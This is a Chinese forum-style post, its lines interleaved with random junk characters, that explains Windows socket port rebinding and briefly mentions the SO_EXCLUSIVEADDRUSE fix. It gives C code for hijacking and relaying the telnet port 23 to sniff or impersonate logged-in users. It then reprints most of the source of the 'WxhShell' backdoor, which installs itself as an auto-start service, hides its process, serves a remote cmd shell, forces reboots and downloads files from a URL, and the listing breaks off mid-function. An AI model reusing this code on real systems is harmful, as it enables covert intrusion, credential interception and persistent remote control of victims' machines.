在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:Ee ?K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Yk>8g;< k46gY7y,9 saddr.sin_family = AF_INET;
@P70W<< OJ[rj`wrW^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
A
+!sD5d Gc5VQ^] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
IvSn>o 6D*chvNA; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
R@ QQNYU.D :_c*m@=z( 这意味着什么?意味着可以进行如下的攻击:
0!IPcZjY7 |a(Q4 e/, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
MuSaK % Es:6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
z_(eQP]) !"(u_dFw 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8?Wgawx v!!;js^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
{"4<To]z P7>IZ >bw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|LFUzq>j H0tF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8m7eaZ Y2vj}9jK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
e-!?[Ujv*% "w^Nu6 #include
5vGioO #include
Riq|w+Q #include
]|BojSL_ #include
E(/ sXji! DWORD WINAPI ClientThread(LPVOID lpParam);
A5+5J_)* int main()
T/7vM 6u {
AgI > WORD wVersionRequested;
HwW6tQ DWORD ret;
Gy^FrF WSADATA wsaData;
g =x"cs/[ BOOL val;
%L cH>sV SOCKADDR_IN saddr;
w@-b SOCKADDR_IN scaddr;
^+a int err;
(.
H]| SOCKET s;
Gx;xj0-" SOCKET sc;
B$DZ]/< int caddsize;
^hysC c HANDLE mt;
7AeP Gr DWORD tid;
o#dcD?^ wVersionRequested = MAKEWORD( 2, 2 );
~1d!hq?/q err = WSAStartup( wVersionRequested, &wsaData );
NY 4C@@" if ( err != 0 ) {
zze z~bv7: printf("error!WSAStartup failed!\n");
{0fz9"|U return -1;
=?+w)(*0c }
#jgqkMOd,j saddr.sin_family = AF_INET;
4[(?L{ _]EyEa //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Xvq^1Y? Q4CJ]J` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Ik-oI=>. saddr.sin_port = htons(23);
1(#RN9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.o"<N {
@4&,
#xo printf("error!socket failed!\n");
p~FQcW'a~ return -1;
~ ;XYwQ" }
>Pyc[_j val = TRUE;
a.CF9m5]c //SO_REUSEADDR选项就是可以实现端口重绑定的
T(&kXMaB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
bm^X!i5 {
CX.SYr&!R printf("error!setsockopt failed!\n");
SLg+H return -1;
1h{>[ 'L }
\"J?@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Gb?g,>C //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
uX98iJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
P!9;} & $wgc vySx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a0{[P$$ {
v*vn<nPAQ> ret=GetLastError();
psu OJ- printf("error!bind failed!\n");
d<_NB]V&F return -1;
s`r-v/3l }
S$\.4*_H\ listen(s,2);
;raz6DRO while(1)
w)^\_uAlS {
[jy0@Q9 caddsize = sizeof(scaddr);
TZj[O1E //接受连接请求
fqN75['n sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@+$cZ3, if(sc!=INVALID_SOCKET)
U @)k3^ {
z'T=]-
D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
keaj3#O if(mt==NULL)
ia_Z\q {
TbMdQbj} printf("Thread Creat Failed!\n");
!5?
m break;
=MCNCV/< }
T!1SMo^ }
UKOFT6| CloseHandle(mt);
YsZ{1W }
z'_&|-m closesocket(s);
.#sz|0 WSACleanup();
,%[LwmET return 0;
J"5jy$30'$ }
|.Em_*VG DWORD WINAPI ClientThread(LPVOID lpParam)
Z@}sCZ=#A {
%v_IX2' SOCKET ss = (SOCKET)lpParam;
G5Je{N8W SOCKET sc;
2YE7 23H=Z unsigned char buf[4096];
_O"L1Let SOCKADDR_IN saddr;
C1KfXC*|L long num;
B>sCP"/uV DWORD val;
8W;xi:CC DWORD ret;
c%ZeX%p //如果是隐藏端口应用的话,可以在此处加一些判断
Y~:}l9Qs //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
B;SzuCW saddr.sin_family = AF_INET;
9LH=3Qt saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
hHCzj*5 saddr.sin_port = htons(23);
<D~6v2$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8~.iuFp {
';&0~ [R[ printf("error!socket failed!\n");
Q! Kn|mnN return -1;
|O57N'/ }
/8=:qIJYA val = 100;
m5)EQE}gPp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3R'.}^RN {
B*y;>q "{U ret = GetLastError();
h (qshbC} return -1;
P87ld._ }
"\4]X"3<+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`'kc|!%MUq {
`'*F1F ret = GetLastError();
2H[=lY return -1;
a#^_"GX }
*e%Dg{_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
M8\G>0Hc6 {
{5U1`> printf("error!socket connect failed!\n");
'BqrJfv closesocket(sc);
5.O-(eSa0& closesocket(ss);
l8er$8S} return -1;
zwMQXI'k83 }
e)*mC oR while(1)
tB
GkRd! {
5LO4P>fq //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
C5>{Q:.`e' //如果是嗅探内容的话,可以再此处进行内容分析和记录
XI]OA7Zis //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hN& yc num = recv(ss,buf,4096,0);
4sj9Z: if(num>0)
~^^!"- send(sc,buf,num,0);
Sc% aJ1 else if(num==0)
/z/hUa break;
*Hxj_ num = recv(sc,buf,4096,0);
b;Hm\aK if(num>0)
:/>7$)+ send(ss,buf,num,0);
I%pCm||p else if(num==0)
|)28=Z|Z break;
}Vs~RJM)} }
#:]vUQ closesocket(ss);
yQ<6p3 closesocket(sc);
_2]e1_= return 0 ;
Dm>T"4B`/ }
Z"l`e0{ zA2UFax= 01&*`0? ==========================================================
iSOD&J_ ;n3uV`\ 下边附上一个代码,,WXhSHELL
sXSj OUI | \AbL!u ==========================================================
7J0 ^N7"o !8wZw68" #include "stdafx.h"
yonJd dD[v=Z_ #include <stdio.h>
oN.Mra]D #include <string.h>
"g
x5XW& #include <windows.h>
@:S$|D~ #include <winsock2.h>
d8xk&za #include <winsvc.h>
:jZ*,d%1={ #include <urlmon.h>
X4Pm)N` Iu)L3_+ #pragma comment (lib, "Ws2_32.lib")
9c"0~7v #pragma comment (lib, "urlmon.lib")
cFRSd
}p= zzulVj* #define MAX_USER 100 // 最大客户端连接数
EZ:I$X #define BUF_SOCK 200 // sock buffer
d [\>'> #define KEY_BUFF 255 // 输入 buffer
1joc<EI #cw!
& #define REBOOT 0 // 重启
k\4g|Lya #define SHUTDOWN 1 // 关机
@).WIs lH6Cd/a #define DEF_PORT 5000 // 监听端口
ph Wc8[Q w:m'uB%W #define REG_LEN 16 // 注册表键长度
],BJ}~v,X #define SVC_LEN 80 // NT服务名长度
Xulh.:N} vS~AxeW/7R // 从dll定义API
0lLr[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N%|^;4}k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
fMWXo)rzj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
k$9Gn9L% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2N6Pa(6 [{6&.v // wxhshell配置信息
NUi{!< struct WSCFG {
pKOT Qf int ws_port; // 监听端口
[,\'V0 char ws_passstr[REG_LEN]; // 口令
E&RoaY0 int ws_autoins; // 安装标记, 1=yes 0=no
"U/NMGMj char ws_regname[REG_LEN]; // 注册表键名
qg_>`Bv"a char ws_svcname[REG_LEN]; // 服务名
v&t`5-e-A char ws_svcdisp[SVC_LEN]; // 服务显示名
OhA^UP01- char ws_svcdesc[SVC_LEN]; // 服务描述信息
/ChJ~g " char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rC=p;BC@dD int ws_downexe; // 下载执行标记, 1=yes 0=no
;cS~d(% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
G:E+s(x char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}0k"SwX "uV0Oj9: };
Hl%+F0^? K9x*Sep
// default Wxhshell configuration
w\0Oz?N struct WSCFG wscfg={DEF_PORT,
y)N.LS "xuhuanlingzhe",
asm[-IB2u 1,
DI$mD{ "Wxhshell",
,Ut!u) "Wxhshell",
TE*> a5C| "WxhShell Service",
-~rr<D\ "Wrsky Windows CmdShell Service",
&5kjjQ*HB "Please Input Your Password: ",
zJB+C=]D7H 1,
,g<>`={kK+ "
http://www.wrsky.com/wxhshell.exe",
:kf3_?9rc "Wxhshell.exe"
|-SI(Khjk };
jzu l{'g -9tXv+v? // 消息定义模块
4YU 1Kr4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@O @|M' char *msg_ws_prompt="\n\r? for help\n\r#>";
@&am!+z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
aT`02X char *msg_ws_ext="\n\rExit.";
6Dr$*9 char *msg_ws_end="\n\rQuit.";
U 8qKD char *msg_ws_boot="\n\rReboot...";
Gaw,1Ow!`2 char *msg_ws_poff="\n\rShutdown...";
2u I`$A: char *msg_ws_down="\n\rSave to ";
ie$fMBIq ;X9MA=b char *msg_ws_err="\n\rErr!";
MJ*oeI!.= char *msg_ws_ok="\n\rOK!";
n@yd{Rc 'vf,T4uQ" char ExeFile[MAX_PATH];
,M+h9_&0? int nUser = 0;
#b]}cwd! HANDLE handles[MAX_USER];
;6\Ski0=l int OsIsNt;
;GSfN :5q*46n SERVICE_STATUS serviceStatus;
P /f ~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
h!JjN$ z=8_%r // 函数声明
X*p:&=o int Install(void);
I?:+~q}lZr int Uninstall(void);
%(O^as int DownloadFile(char *sURL, SOCKET wsh);
n
WO~v{h3J int Boot(int flag);
cwDD(j
void HideProc(void);
4`^TC[ int GetOsVer(void);
{~B4F}ES int Wxhshell(SOCKET wsl);
N2S!.H!Wz void TalkWithClient(void *cs);
$fU/9jTa int CmdShell(SOCKET sock);
I5|S8d< int StartFromService(void);
' /@!"IXz int StartWxhshell(LPSTR lpCmdLine);
;4O;74`Zh )Or:wFSMq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
R!M|k%( VOID WINAPI NTServiceHandler( DWORD fdwControl );
o^.s!C%j Wpg?%+Y // 数据结构和表定义
QdG?"Bdt2 SERVICE_TABLE_ENTRY DispatchTable[] =
|L~gNC {
< 8W:ij.` {wscfg.ws_svcname, NTServiceMain},
n(F< {NULL, NULL}
8xGkh?% };
ogh2kht A.'`FtV // 自我安装
=tvm= int Install(void)
V.OoZGE>] {
HWao3 Lz char svExeFile[MAX_PATH];
C Ol%P HKEY key;
94>7-d strcpy(svExeFile,ExeFile);
^Qb!k/$3y e\bF_
N2VA // 如果是win9x系统,修改注册表设为自启动
qz_TcU' if(!OsIsNt) {
Y;F,GxR} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_o=`-iy9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\2LA%ZU RegCloseKey(key);
n6-!@RYr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fPuQ,J2= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
oqm{<g?2 RegCloseKey(key);
D3Ea2}8 return 0;
{<V|Gr }
neMe<jr }
.q& ]wu }
,r)d#8 else {
mrBhvp"" [4(A458H // 如果是NT以上系统,安装为系统服务
R/KWl^oNj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
I$P7%} if (schSCManager!=0)
t)kr/Z*p\ {
JeSkNs|vB SC_HANDLE schService = CreateService
5;KT-(q~ (
;lPhSkD schSCManager,
MrygEC 5 wscfg.ws_svcname,
p44uozbK wscfg.ws_svcdisp,
@0x.n\M_ SERVICE_ALL_ACCESS,
tGy%n[ \ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
vXWESy SERVICE_AUTO_START,
Dqo:X`<bT SERVICE_ERROR_NORMAL,
qi5>GX^t]b svExeFile,
S
g_?.XZc[ NULL,
^O\1v NULL,
w}KcLaI NULL,
j2&OYg NULL,
:r|P?;t( NULL
W SeRV?+T );
$F'~^2 if (schService!=0)
cH8H)55F {
0eu$oel- CloseServiceHandle(schService);
=GS_ G;Dz CloseServiceHandle(schSCManager);
74!JPOpQH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
L bK1CGyA strcat(svExeFile,wscfg.ws_svcname);
K
{N;k- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hQRc,d6x5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
tYxlM! RegCloseKey(key);
qb/!;U_ return 0;
WlJRKM2 }
<zWQ[^ }
Bf}0'MK8zQ CloseServiceHandle(schSCManager);
Lm2cW$s }
3n"&$q6 }
}t{^*( !7Q.w/|= return 1;
9bYHb'70 }
Boz_*l| O9 r44ww // 自我卸载
p<.!::* %( int Uninstall(void)
OaVL NA^{ {
\$++.%0 HKEY key;
_rWXcK3cjr o0v m?CL# if(!OsIsNt) {
_3?xIT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Kof-;T RegDeleteValue(key,wscfg.ws_regname);
m3ZOq
B- RegCloseKey(key);
91'^--N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m*WEge*$t RegDeleteValue(key,wscfg.ws_regname);
=>TtX@ Q{ RegCloseKey(key);
$TUC?e9"h return 0;
mi3q1npb7[ }
iDe0 5f1R }
A}+r;Y8[h }
= ~R3*GN else {
>?\ !k
c O4+w2'., SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
p~y
4q4 if (schSCManager!=0)
yOm6HA``hT {
k$mX81 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[&59n,R` if (schService!=0)
)"Yah {
zL=I-f Vq if(DeleteService(schService)!=0) {
206jeH9 CloseServiceHandle(schService);
_34YH 5 CloseServiceHandle(schSCManager);
#k]0[;1os return 0;
A.*nDl`H }
Hqy>!1! CloseServiceHandle(schService);
V'#u_`x"D) }
W5yu`Br CloseServiceHandle(schSCManager);
+2enz!z#k }
r/w@Dh]{_ }
-&^( T {nWtNyJpS return 1;
D%}o26K.C }
&l)v' O[J+dWyp // 从指定url下载文件
, 0ja _ int DownloadFile(char *sURL, SOCKET wsh)
?~9X:~6\ {
F>nrV HRESULT hr;
3m9E2R, char seps[]= "/";
B}bNl 7
~ char *token;
Cd*C^cJU&z char *file;
)x $Vy= char myURL[MAX_PATH];
YtKX\q^. char myFILE[MAX_PATH];
7"U,N;y xL#oP0d<e strcpy(myURL,sURL);
Icb;Yzt token=strtok(myURL,seps);
v2<gkCK^ while(token!=NULL)
IWd*"\L {
%&S]cEw file=token;
0|k[Wha# token=strtok(NULL,seps);
P?-44m# }
e=$xn3)McY *)sz]g|d GetCurrentDirectory(MAX_PATH,myFILE);
eesLTyD2_ strcat(myFILE, "\\");
yr DYw T strcat(myFILE, file);
66;O 3g' send(wsh,myFILE,strlen(myFILE),0);
R9HS%O6b6 send(wsh,"...",3,0);
UeTp, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?=Qg if(hr==S_OK)
clV/i&]Qa return 0;
%Q01EjRes else
)W3l{T( return 1;
a];i4lt(c ,RH986,6V }
7i\[Q8f 5Wjp_^!e
// 系统电源模块
:O=Vr]Y8K int Boot(int flag)
K~N[^pF {
H*<dte< HANDLE hToken;
U}TQXYAg TOKEN_PRIVILEGES tkp;
Qc/J"<Lx +#9 (T
if(OsIsNt) {
LLN^^>5|l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
msJn;(Pn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|bUmkw tkp.PrivilegeCount = 1;
z<XS"4l?W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
g#NUo/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
*]u/,wCB if(flag==REBOOT) {
jl7-"V>j?; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|]^! 4[!U return 0;
\}c50}#0 }
lsf?R'1 else {
eu/Sp3@v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
s47"JKf" return 0;
W{2y*yqY }
.w"O/6." }
M6n.uho/ else {
I#%-A if(flag==REBOOT) {
I<f M8t.Y> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&KwtvUN{ return 0;
KLB?GN?Pb }
ax }Xsk_ else {
]P5u:~U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
BGOI return 0;
YkbLf#2AE| }
u{^Kyo#v }
o^J&c_U\3' {%dQV#'c return 1;
"=O)2} }
B 8,{jwB 4Yk(ldR~ // win9x进程隐藏模块
OC.@C}u void HideProc(void)
M1\/ueOe {
cQb%bmBc5 *?\Nioii HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<#Dc(VhT if ( hKernel != NULL )
ppS`zqq $ {
J(GLPC O$K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
l1-FL-1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
> ^}z FreeLibrary(hKernel);
~{{:-XkVB }
qlP=Y .H s:{%1 / return;
*a4eL [ }
su$juI{ w0SgF/"@ // 获取操作系统版本
6OUjc int GetOsVer(void)
irS62Xe {
[0emOS OSVERSIONINFO winfo;
75ob1h" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1:8: yFV GetVersionEx(&winfo);
9IMcp~zX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e)8iPu .. return 1;
bv0 %{u& else
I
Cs1= return 0;
vhW'2<( }
V2X(f6v
-fv.ByyA // 客户端句柄模块
J %t1T]y~ int Wxhshell(SOCKET wsl)
jrR~V* :k {
ycN_< SOCKET wsh;
I._=q struct sockaddr_in client;
i)ctrdP- DWORD myID;
ZVL0S{V-mh "-oC,;yq while(nUser<MAX_USER)
6fiJ'
j@ {
cE[lB08 int nSize=sizeof(client);
6=k^gH[g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
OWzIea@ if(wsh==INVALID_SOCKET) return 1;
82<!b]^1 pY@+.V`a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;f?bb*1 if(handles[nUser]==0)
kaLRI|hC closesocket(wsh);
L.'N'-BV else
[%pZM.jFO nUser++;
ObUQ B+ }
i`X{pEKP+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f~Su F,o@h O(VV-n7U return 0;
X"]ZV]7(]s }
'n=D$j]X }Z|a?J@CZm // 关闭 socket
slbV[xR void CloseIt(SOCKET wsh)
?5D7n"jY {
e0P1FD<@ closesocket(wsh);
0NGokaD)H nUser--;
C/JFg-r ExitThread(0);
ZJqmD }
(~~=<0S 2= _.K( // 客户端请求句柄
#"|Ey6& void TalkWithClient(void *cs)
cVMTT]cj1 {
3
V<8 jB;+tDC!Co SOCKET wsh=(SOCKET)cs;
%AFy{l char pwd[SVC_LEN];
R?(j#bk char cmd[KEY_BUFF];
GUxhCoxb char chr[1];
6ZE]7~X int i,j;
N78Ev7PN )L?Tq"hy while (nUser < MAX_USER) {
Z=xrjE |[ge,MO: if(wscfg.ws_passstr) {
c=5$bo]LI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C,E 5/XW //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AG?oA328 //ZeroMemory(pwd,KEY_BUFF);
31}6dg8?n i=0;
_Cxs"to while(i<SVC_LEN) {
anbr3L[! ZO,]h9?4 // 设置超时
_Cs.%R!r fd_set FdRead;
9}=Fdt struct timeval TimeOut;
`fH6E8N FD_ZERO(&FdRead);
lyyi?/W% FD_SET(wsh,&FdRead);
cG<?AR?wDT TimeOut.tv_sec=8;
GZ1>]HB>r^ TimeOut.tv_usec=0;
ci!c7 ,'c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<D__17W:; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
C-Mop,w j<c_*^/'9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
tP\Utl-0 pwd
=chr[0]; 5o,82Kti
if(chr[0]==0xd || chr[0]==0xa) { sG3%~
pwd=0; {MHr]A}X\
break; @M1U)JoQ
} f-Sb:O!V
i++; 5b&'gd^d
} 30<^0J.1
\Tc$P#
// 如果是非法用户,关闭 socket S&a44i
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g
{00i
} ;y"DEFs,u
t((0]j^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vm(% u!_P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Co'dZd(
A9"ho}<
while(1) { -kJ`gdS
8?PNyO-Wt5
ZeroMemory(cmd,KEY_BUFF); }&=C*5JN
fE(rDQI
// 自动支持客户端 telnet标准 ,QK>e;:Be
j=0; q|~9%Pujg
while(j<KEY_BUFF) { EprgLZ1B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $+tkBM
cmd[j]=chr[0]; rIXAn4,dTv
if(chr[0]==0xa || chr[0]==0xd) { )T^hyi$
cmd[j]=0; `8L7pbS%,Q
break; rA9"CN
} |')Z;
j++; z2r{AQ.&
} z=!xN5
(*|hlD~
// 下载文件 k@[Bx>
if(strstr(cmd,"http://")) { :wIbKs.r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =4?m>v,re
if(DownloadFile(cmd,wsh)) J<'4(}^|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [g<JP~4]
else /vBp Rm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Ta7b)
} spJB6n(
else { ;lP)
1:8ZS
switch(cmd[0]) { oM< 9]jK}
IkD\YPL;
// 帮助 .7oz
case '?': { 2 Y%$6NX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f;QWlh"9
break; NbSwn}e_
} -\>Xtix^-c
// 安装 4B) prQ3
case 'i': { !.9NJ2'8
if(Install()) 4re^j4L~o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0%v
p'v
else &7;W=uF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w*
v%S
break; =E{1QA0
} QH+Oi&xH
// 卸载 Pj^6.f+
case 'r': { a6[bF
if(Uninstall()) 'y@0P5[se
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oM J5;
else g,\<fY+4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /KH3v!G0
break; syMB~g
} SFTThM]8M1
// 显示 wxhshell 所在路径 F e8xOo6
case 'p': { H$Q_K<V
char svExeFile[MAX_PATH]; !uHX2B+~
strcpy(svExeFile,"\n\r"); &Jq?tnNd
strcat(svExeFile,ExeFile); L~~;i'J
send(wsh,svExeFile,strlen(svExeFile),0); qL(Qmgd
break; 8hdd1lVKO8
} Wa
, #
// 重启 9[/Gd{`XC
case 'b': { H"m^u6Cmy-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B|#"dhT
if(Boot(REBOOT)) ;l"z4>kt7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7u0!Q\
else { e:&5Cvx
closesocket(wsh); {=pf#E=
ExitThread(0); {~ VgXkjsC
} >!?u8^C
break; iYR8sg[' #
} PbCXcs
// 关机 T~_+\w
case 'd': { ^[!LU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2UA h^i-^
if(Boot(SHUTDOWN)) flnoK%wi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ur"ckuG!9
else { d.sxB}_O
closesocket(wsh); C}%g(YRhb
ExitThread(0); ^~?VD
} v:eVK!O
break; B]#0]-ua
} hK3?m.>"g
// 获取shell \ c9EE-
case 's': { VQ2)qJ#l
CmdShell(wsh); weKwBw
closesocket(wsh); xrS;06$
ExitThread(0); 58{6k J@
break; S+7>Y? B!
} ?=-18@:.ss
// 退出 Od)]FvO
case 'x': { /(5SJ(a
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?tSFM:9PU
CloseIt(wsh); 5'Y @c
break; Syo1Dq6z.
} Bzw~OB{!=J
// 离开 5l}v
case 'q': {
PohG y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?=$a6o
closesocket(wsh); ,_D`0B6o
WSACleanup(); Y 8EL
exit(1); 8N'[)Jw
break; 5F18/:\n
} YOqGFi~`
} P_
U[OM\
} !SMIb(~[z
4,`Yx s)%
// 提示信息 XnV*MWv
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .IE2d%]?
} "l"zbW WOH
} De6WC*trq
qn5e[Vn
return; KQ9~\No]
} g/)mbL>=
fq48>"g*
// shell模块句柄 o+r?N5
int CmdShell(SOCKET sock) r8A
{ AQw1,tGV
STARTUPINFO si; (Z fY/
ZeroMemory(&si,sizeof(si)); YAYPof~A$l
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z1{kZk
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g ]e^;
PROCESS_INFORMATION ProcessInfo; YKlYo~fGN9
char cmdline[]="cmd"; ]6bh #N;.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +mIO*UQi
return 0; .Ks%ar
} L'iENZI$
tURjIt,I
// 自身启动模式 j'R{llZW
int StartFromService(void) kI<;rP1S|
{ J^m#984
typedef struct E_[|ZrIO&*
{ dkVF
DWORD ExitStatus; dDK4I3a
DWORD PebBaseAddress; W2?6f:
DWORD AffinityMask; /zJDQ'k0
DWORD BasePriority; US[{
Q
